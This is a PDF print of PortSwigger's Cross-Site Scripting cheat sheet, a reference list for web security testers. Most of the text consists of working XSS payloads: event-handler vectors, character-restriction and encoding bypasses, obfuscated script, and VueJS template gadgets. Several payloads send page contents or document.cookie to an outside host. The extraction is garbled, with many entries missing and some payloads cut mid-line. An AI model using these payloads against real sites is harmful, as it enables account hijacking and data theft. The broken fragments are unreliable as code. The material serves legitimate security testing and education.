Cross-Site Scripting (XSS) Cheat Sheet
Cross-Site Scripting (XSS) Cheat Sheet
LOGIN
Academy home
Table of contents
Event handlers
onerror
All tags All browsers
onfocus
custom tags Chrome
onfocus(autofocus)
a Firefox
onfocusin
abbr Safari
onfocusout
acronym
onformdata
address
onfullscreenchange
applet
ongesturechange
area
ongestureend
article
ongesturestart
aside
onhashchange
di
custom tags
<xss onafterscriptexecute=alert(1)><script>1</script>
Com
Copy Link
onanimationcancel
custom tags
onanimationend
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 1/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
custom tags
onanimationiteration
custom tags
onanimationstart
custom tags
onbeforeprint
Fires before the page is printed
body
<body onbeforeprint=console.log(1)>
Com
Copy Link
onbeforescriptexecute
Fires before script is executed
custom tags
<xss onbeforescriptexecute=alert(1)><script>1</script>
Com
Copy Link
onbeforeunload
body
<body onbeforeunload=navigator.sendBeacon('//ssl.portswigger-labs.net/',document.body.innerHTML)>
Com
Copy Link
onbegin
animate
oncanplay
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 2/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
audio
oncanplaythrough
Fires when enough data has been loaded to play the resource all the way through
video
oncontentvisibilityautostatechange
Fires on all tags when content-visibility is set to auto
custom tags
oncontentvisibilityautostatechange(hidden)
input
oncuechange
track
ondurationchange
Fires when duration changes
audio
onend
Fires when a svg animation ends
animate
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 3/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
onended
Fires when the resource is finished playing
audio
onerror
audio
<audio src/onerror=alert(1)>
Com
Copy Link
onfocus
onfocus(autofocus)
Fires when a element has focus and the autofocus attribute is used to focus automatically.
custom tags
onfocusin
onhashchange
body
<body onhashchange="print()">
Com
Copy Link
onload
body
<body onload=alert(1)>
Com
Copy Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 4/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
onloadeddata
Fires when the first frame is loaded
audio
onloadedmetadata
Fires when the meta data is loaded
audio
onloadstart
video
<video onloadstart="alert(1)"><source></xss>
Com
Copy Link
onmessage
body
<body onmessage=print()>
Com
Copy Link
onpageshow
Fires when the page is shown
body
<body onpageshow=alert(1)>
Com
Copy Link
onplay
Fires when the resource is played
audio
onplaying
Fires the resource is playing
audio
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 5/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Com
Copy Link
onpopstate
Fires when the history changes
body
<body onpopstate=print()>
Com
Copy Link
onprogress
audio
onrepeat
animate
onresize
body
<body onresize="print()">
Com
Copy Link
onscroll
Fires when the page scrolls
body
onscrollend
Fires when the scrolling to the end of the element
custom tags
onscrollsnapchange
Fires at the end of a scrolling operation
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 6/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
address
onscrollsnapchanging
Fires when the scroll position is snapping to a new point
custom tags
onsuspend
Fires when the video/audio when the data loading is suspended
audio
ontimeupdate
Fires when the timeline is changed
audio
ontoggle
details
ontransitioncancel
custom tags
ontransitionend
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 7/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
custom tags
ontransitionrun
Fires when a CSS transition begins
custom tags
ontransitionstart
custom tags
onunhandledrejection
body
<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>
Com
Copy Link
onunload
Fires when the page is unloaded
body
<body onunload=navigator.sendBeacon('//ssl.portswigger-labs.net/',document.body.innerHTML)>
Com
Copy Link
onwaiting(loop)
audio
onwebkitanimationend
Fires when a CSS animation ends
custom tags
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 8/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
onwebkitanimationiteration
custom tags
onwebkitanimationstart
Fires when a CSS animation starts
custom tags
onwebkitplaybacktargetavailabilitychanged
Fires when the availability of an AirPlay playback target changes
audio
<audio onwebkitplaybacktargetavailabilitychanged=alert(1)>
Com
Copy Link
onwebkittransitionend
Fires when a CSS transition ends
custom tags
body
<body onafterprint=alert(1)>
Com
Copy Link
onauxclick
Fires when right clicking or using the middle button of the mouse
input
<input onauxclick=alert(1)>
Com
Copy Link
onbeforecopy
Requires you copy a piece of text
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 9/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
<a onbeforecopy="alert(1)" contenteditable>test</a>
Com
Copy Link
onbeforecut
onbeforeinput
custom tags
onbeforepaste
Fires at the end of a paste operation
custom tags
<xss onbeforepaste=alert(1)>XSS</xss>
Com
Copy Link
onbeforetoggle
Fires before the a popop element is toggled
custom tags
onblur
Fires when an element loses focus
custom tags
oncancel
Fires when an a file upload is cancelled
input
onchange
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 10/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
input
onclick
custom tags
onclose
dialog
oncontextmenu
Triggered when right clicking to show the context menu
custom tags
oncopy
custom tags
oncut
custom tags
ondblclick
Triggered when double clicking the element
custom tags
ondrag
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 11/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Triggered dragging the element
custom tags
ondragend
custom tags
ondragenter
Requires a mouse drag
custom tags
ondragexit
Triggered when dragging the element
custom tags
ondragleave
custom tags
ondragover
custom tags
ondragstart
custom tags
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 12/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
ondrop
custom tags
onfocusout
custom tags
onformdata
form
<form onformdata="alert(1)"><button>Click</button></form>
Com
Copy Link
onfullscreenchange
video
ongesturechange
Fires when the gesture is in progress and changes occur.
custom tags
<div ongesturechange=alert(1)>XSS</div>
Com
Copy Link
ongestureend
custom tags
<div ongestureend=alert(1)>XSS</div>
Com
Copy Link
ongesturestart
Fires when multiple fingers touch the surface, initiating a new gesture.
custom tags
<div ongesturestart=alert(1)>XSS</div>
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 13/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Com
Copy Link
oninput
Requires as change of value
input
oninvalid
Requires a form submission with an element that does not satisfy its constraints such as a required attribute.
input
onkeydown
custom tags
onkeypress
custom tags
onkeyup
custom tags
onmousedown
custom tags
onmouseenter
custom tags
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 14/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
<xss onmouseenter="alert(1)" style=display:block>test</xss>
Com
Copy Link
onmouseleave
custom tags
onmousemove
custom tags
onmouseout
custom tags
onmouseover
Requires a hover over the element
custom tags
onmouseup
Triggered when the mouse button is released
custom tags
onmousewheel
custom tags
onmozfullscreenchange
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 15/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
video
onpagehide
body
<body onpagehide=navigator.sendBeacon('//ssl.portswigger-labs.net/',document.body.innerHTML)>
Com
Copy Link
onpaste
onpause
audio
onpointercancel
You need to make a selection and drag the text using a laptop touchpad.
custom tags
<xss onpointercancel=alert(1)>XSS</xss>
Com
Copy Link
onpointerdown
Fires when the mouse down
custom tags
onpointerenter
custom tags
onpointerleave
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 16/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Fires when the mouseleave
custom tags
onpointermove
custom tags
onpointerout
custom tags
onpointerover
Fires when the mouseover
custom tags
onpointerrawupdate
custom tags
onpointerup
custom tags
onratechange
audio
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 17/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
onreset
Requires a click
form
onsearch
Fires when a form is submitted and the input has a type attribute of search
input
onseeked
audio
onseeking
audio
onselect
input
onselectionchange
body
onselectstart
Fires when beginning a text selection
body
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 18/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
onshow
menu
onsubmit
form
ontoggle(popover)
custom tags
ontouchcancel
custom tags
<xss ontouchcancel=alert(1)>XSS</xss>
Com
Copy Link
ontouchend
body
<body ontouchend=alert(1)>
Com
Copy Link
ontouchmove
Fires when the touch screen and move, only mobile device
body
<body ontouchmove=alert(1)>
Com
Copy Link
ontouchstart
Fires when the touch screen, only mobile device
body
<body ontouchstart=alert(1)>
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 19/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Com
Copy Link
onvolumechange
audio
onwaiting
audio
onwebkitfullscreenchange
video
onwebkitmouseforcechanged
custom tags
<xss onwebkitmouseforcechanged=alert(1)>XSS</xss>
Com
Copy Link
onwebkitmouseforcedown
custom tags
<xss onwebkitmouseforcedown=alert(1)>XSS</xss>
Com
Copy Link
onwebkitmouseforceup
custom tags
<xss onwebkitmouseforceup=alert(1)>XSS</xss>
Com
Copy Link
onwebkitmouseforcewillbegin
Requires a click from a laptop touchpad.
custom tags
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 20/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
<xss onwebkitmouseforcewillbegin=alert(1)>XSS</xss>
Com
Copy Link
onwebkitpresentationmodechanged
video
onwebkitwillrevealbottom
custom tags
<xss onwebkitwillrevealbottom=alert(1)>XSS</xss>
Com
Copy Link
onwheel
Fires when you use the mouse wheel
body
<body onwheel=alert(1)>
Com
Copy Link
Consuming tags
Copy
Link
Copy
Link
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 21/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Copy
Link
Copy
Link
Copy
Link
Copy
Link
Copy
Link
Copy
Link
Copy
Link
Restricted characters
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 22/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
<script>onerror=alert;throw 1</script>
Copy
Link
<script>{onerror=alert}throw 1</script>
Copy
Link
<script>throw onerror=alert,1</script>
Copy
Link
<script>throw onerror=eval,'=alert\x281\x29'</script>
Copy
Link
<script>throw onerror=eval,'alert\x281\x29'</script>
Copy
Link
<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>
Copy
Link
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 23/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
No parentheses using exception handling and location hash eval on all browsers
Copy
Link
No parentheses, no quotes, no spaces using exception handling and location hash eval on all browsers
<script>throw{},onerror=Uncaught=eval,h=location.hash,e=
{lineNumber:1,columnNumber:1,fileName:0,message:h[2]+h[1]+h},!!window.InstallTrigger?e:e.message</script>
Copy
Link
No parentheses, no quotes, no spaces, no curly brackets using exception handling and location hash eval on all browsers
<script>throw/x/,onerror=Uncaught=eval,h=location.hash,e=Error,e.lineNumber=e.columnNumber=e.fileName=e.message
+h[1]+h,!!window.InstallTrigger?e:e.message</script>
Copy
Link
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
Copy
Link
<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>
Copy
Link
<script>location='javascript:alert\x281\x29'</script>
Copy
Link
<script>location=name</script>
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 24/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
<script>alert`1`</script>
Copy
Link
<script>new Function`X${document.location.hash.substr`1`}`</script>
Copy
Link
<script>Function`X${document.location.hash.substr`1`}```</script>
Copy
Link
<video><source onerror=location=/\02.rs/+document.cookie>
Copy
Link
<svg onload=alert(1)
Copy
Link
<svg onload=alert(1)<!--
Copy
Link
<script>throw[onerror]=[alert],1</script>
Copy
Link
<script>var{a:onerror}={a:alert};throw 1</script>
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 25/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
<script>var{haha:onerror=alert}=0;throw 1</script>
Copy
Link
<script>window.name='javascript:alert(1)';</script><svg onload=location=name>
Copy
Link
Avoiding Invalid left-hand side in assignment without `, (), ?, [], or , using object literal
Copy
Link
Avoiding Invalid left-hand side in assignment without `, (), ?, [], or , using new class
Copy
Link
<SCRIPT SRC=HTTPS://PORTSWIGGER-LABS.NET/A.JS></SCRIPT>
Copy
Link
<SCRIPT>[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+
(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+
[]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+
[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[
[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(!
[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+
[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!
[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+
[]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]
[]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![
[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[
[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+
(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[
[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[
(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[
[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]
[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[]
[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[
[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])</SCRIPT>
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 26/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Copy
Link
<script>throw onerror=eval,name</script>
Copy
Link
<script>throw onerror=eval,'/*'+location</script>
Copy
Link
Copy
Link
Copy
Link
<script>throw onerror=eval,{lineNumber:1,columnNumber:1,fileName:1,message:name}</script>
Copy
Link
Copy
Link
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 27/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
ondevicemotion and URIError object
<script>ondevicemotion=setTimeout;Event.prototype.toString=URIError.prototype.toString;Event.prototype.message=
t\x281\x29'</script>
Copy
Link
<script>ondeviceorientation=setTimeout;Event.prototype.toString=Error.prototype.toString;Event.prototype.name='
\x281\x29'</script>
Copy
Link
<script>ondeviceorientationabsolute=setTimeout;Event.prototype.toString=WebTransportError.prototype.toString;Ev
rototype.name='alert\x281\x29'</script>
Copy
Link
<script>onpagereveal=setTimeout;Event.prototype.toString=AggregateError.prototype.toString;Event.prototype.name
rt\x281\x29'</script>
Copy
Link
<script>onpageswap=setTimeout;location='x';Event.prototype.toString=EvalError.prototype.toString;Event.prototyp
e='alert\x281\x29'</script>
Copy
Link
<iframe id=target></iframe><script>target.src='xss.php?x=
<img/src/onerror=onmessage=setTimeout;Event.prototype.toString=RangeError.prototype.toString;Event.prototype.nam
lert\x281\x29">';target.onload=setTimeout(function(){frames[0].postMessage("", "*")},100)</script>
Copy
Link
<script>onhashchange=setTimeout;location.hash=location;Event.prototype.flags='.call\x28alert\x281\x29\x29';Even
totype.toString=/x/.toString</script>
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 28/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
<script>onscroll=setTimeout;document.body.style.height='9999px';document.documentElement.scrollTop=1;Event.prot
.toString=ReferenceError.prototype.toString;Event.prototype.name='alert\x281\x29'</script>
Copy
Link
<script>onscrollend=setTimeout;document.body.style.height='9999px';document.documentElement.scrollTop=1;Event.p
ype.toString=SyntaxError.prototype.toString;Event.prototype.name='alert\x281\x29'</script>
Copy
Link
Copy
Link
<img/src/style=transition:0.1s
onerror="window.ontransitionstart=setTimeout;this.style.opacity=0;Event.prototype.toString=x=>'alert\x281\x29'"
Copy
Link
<img/src/onerror="window.onload=setTimeout;Event.prototype.toString=DOMException.prototype.toString;Event.proto
name='alert\x281\x29'">
Copy
Link
<img/src/onerror=onpageshow=setTimeout;Event.prototype.toString=WebTransportError.prototype.toString;Event.prot
.name='alert\x281\x29'>
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 29/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
<img/src/onerror=window.onerror=eval;ReferenceError.prototype.name=';alert\x281\x29;var\x20Uncaught//';z>
Copy
Link
Frameworks
Copy
Link
Copy
Link
Protocols
<iframe src="javascript:alert(1)">
Copy
Link
<object data="javascript:alert(1)">
Copy
Link
<embed src="javascript:alert(1)">
Copy
Link
<a href="javascript:alert(1)">XSS</a>
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 30/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
<a href="JaVaScript:alert(1)">XSS</a>
Copy
Link
Copy
Link
Copy
Link
Characters \x09,\x0a,\x0d are allowed after protocol name before the colon
Copy
Link
Copy
Link
Copy
Link
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 31/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
<svg><set xlink:href=#xss attributeName=href from=? to=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</tex
</a>
Copy
Link
<script src="data:text/javascript,alert(1)"></script>
Copy
Link
Copy
Link
Copy
Link
<script>import('data:text/javascript,alert(1)')</script>
Copy
Link
<math><x href="javascript:alert(1)">blah
Copy
Link
<form><button formaction=javascript:alert(1)>XSS
Copy
Link
Copy
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 32/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Link
Copy
Link
Copy
Link
Copy
Link
Copy
Link
Copy
Link
Copy
Link
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 33/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Object tag supports param src
Copy
Link
<script>navigation.navigate('javascript:alert(1)')</script>
Copy
Link
Copy
Link
Copy
Link
Click a submit element from anywhere on the page, even outside the form
Copy
Link
Hidden inputs: Access key attributes can enable XSS on normally unexploitable elements
Copy
Link
Link elements: Access key attributes can enable XSS on normally unexploitable elements
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 34/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Copy
Link
Copy
Link
Copy
Link
Copy
Link
Copy
Link
Copy
Link
Copy
Link
Copy
Link
Copy
Link
Copy
Link
Special tags
Copy
Link
Copy
Link
Copy
Link
+/v8 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
Copy
Link
+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
Copy
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 36/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Link
+/v+ +ADw-script+AD4-alert(1)+ADw-/script+AD4-
Copy
Link
+/v/ +ADw-script+AD4-alert(1)+ADw-/script+AD4-
Copy
Link
Copy
Link
Copy
Link
Disable referer
Copy
Link
Encoding
Overlong UTF-8
Copy
Link
Unicode escapes
<script>\u0061lert(1)</script>
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 37/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Unicode escapes ES6 style
<script>\u{61}lert(1)</script>
Copy
Link
<script>\u{0000000061}lert(1)</script>
Copy
Link
<script>eval('\x61lert(1)')</script>
Copy
Link
Octal encoding
Copy
Link
Copy
Link
Copy
Link
<a href="javascript:alert(1)">XSS</a>
Copy
Link
<a href="javascript:alert(1)">XSS</a>
Copy
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 38/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Link
Copy
Link
<a href="javascript:alert(1)">XSS</a>
Copy
Link
<a href="javascript:alert(1)">XSS</a>
Copy
Link
HTML entities
Copy
Link
URL encoding
<a href="javascript:x='%27-alert(1)-%27';">XSS</a>
Copy
Link
<a href="javascript:x='%27-alert(1)-%27';">XSS</a>
Copy
Link
Obfuscation
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 39/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>
Copy
Link
Data protocol inside script src with base64 and HTML entities
<script src=data:text/javascript;base64,YWxlcnQoMSk=
</script>
Copy
Link
Data protocol inside script src with base64 and URL encoding
<script src=data:text/javascript;base64,%59%57%78%6c%63%6e%51%6f%4d%53%6b%3d></script>
Copy
Link
<iframe srcdoc=<script>alert(1)</script>></iframe>
Copy
Link
<iframe
src="javascript:'%3Cscript%3Eale
74;(1)%3C%2Fscript%3E
</iframe>
Copy
Link
<svg>
<script>\u0061\u006c\u006&
\u0072\u0074(1)</script></svg>
Copy
Link
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 40/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
VueJS reflected
Version 2
41
{{constructor.constructor('alert(1)')()}}
Copy
Link
Version 2
Mario Heiderich (Cure53) & Sebastian Lekies (Google) & Eduardo Vela Nava (Google) & Krzysztof Kotowicz (Google)
62
<div v-html="''.constructor.constructor('alert(1)')()">a</div>
Copy
Link
Version 2
<x v-html=_c.constructor('alert(1)')()>
Copy
Link
Version 2
37
<x v-if=_c.constructor('alert(1)')()>
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
32
{{_c.constructor('alert(1)')()}}
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 41/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
32
{{_v.constructor('alert(1)')()}}
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
32
{{_s.constructor('alert(1)')()}}
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
39
<p v-show="_c.constructor`alert(1)`()">
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
52
<x v-on:click='_b.constructor`alert(1)`()'>click</x>
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
41
<x v-bind:a='_b.constructor`alert(1)`()'>
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
33
<x @[_b.constructor`alert(1)`()]>
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 42/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
33
<x :[_b.constructor`alert(1)`()]>
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
33
<p v-=_c.constructor`alert(1)`()>
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
33
<x #[_c.constructor`alert(1)`()]>
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
32
<p :=_c.constructor`alert(1)`()>
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
32
{{_c.constructor('alert(1)')()}}
Copy
Link
Version 2
